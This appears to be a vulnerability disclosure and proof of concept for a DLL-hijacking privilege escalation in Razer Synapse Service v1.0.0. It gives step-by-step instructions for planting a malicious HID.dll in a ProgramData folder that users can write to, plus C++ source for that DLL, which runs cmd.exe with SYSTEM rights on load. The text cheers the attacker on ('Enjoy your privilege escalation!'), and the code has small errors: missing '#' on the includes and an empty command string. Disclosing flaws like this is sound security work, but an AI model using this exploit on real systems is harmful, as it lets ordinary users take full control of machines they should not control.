Discovered by: Juan Sacco <jsacco@exploitpack.com>
Razer Synapse Service v1.0.0 is prone to a DLL Injection because it
fails to properly filter user supplied input and loads a .DLL from
%ProgramData% from userland with SYSTEM rights allowing to escalate
the priveleges from a regular user to SYSTEM rights.

Program: Raze Synapse Service
Version: 1.0.0
Vendor: https://www.razer.com/
Download link: https://www.razer.com/downloads

Steps To Reproduce:
Move your .DLL to C:\ProgramData\Razer\Synapse3\Service\Bin\HID.dll
Restart the PC or restart the service. The service runs with SYSTEM rights.
Enjoy your privilege escalation!

Supporting Material/References:
ProgramData specifies the path to the program-data folder (normally
C:\ProgramData). Unlike the Program Files folder, this folder can be
used by applications to store data for standard users, because it does
not require elevated permissions. Reference:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/ff716245(v=win.10)?redirectedfrom=MSDN#feedback

Razer Synaprse Service.exe loads a DLL ( HID.dll ) from
ProgramData\Razer\Synapse3\Service\ folder with the function:
"HidD_GetHidGuid()" using the following code we can compile a DLL and
export this function from it to being called during attach.

// dllmain.cpp : Defines the entry point for the DLL application.
include "pch.h"
include "windows.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char cmd[] = "cmd.exe /c";
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_THREAD_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_THREAD_DETACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_PROCESS_DETACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) void HidD_GetHidGuid()
{
char cmd[] = "cmd.exe /c";
WinExec(cmd, SW_SHOWNORMAL);
}

Impact
A regular user could abuse of this vulnerability to gain full SYSTEM rights.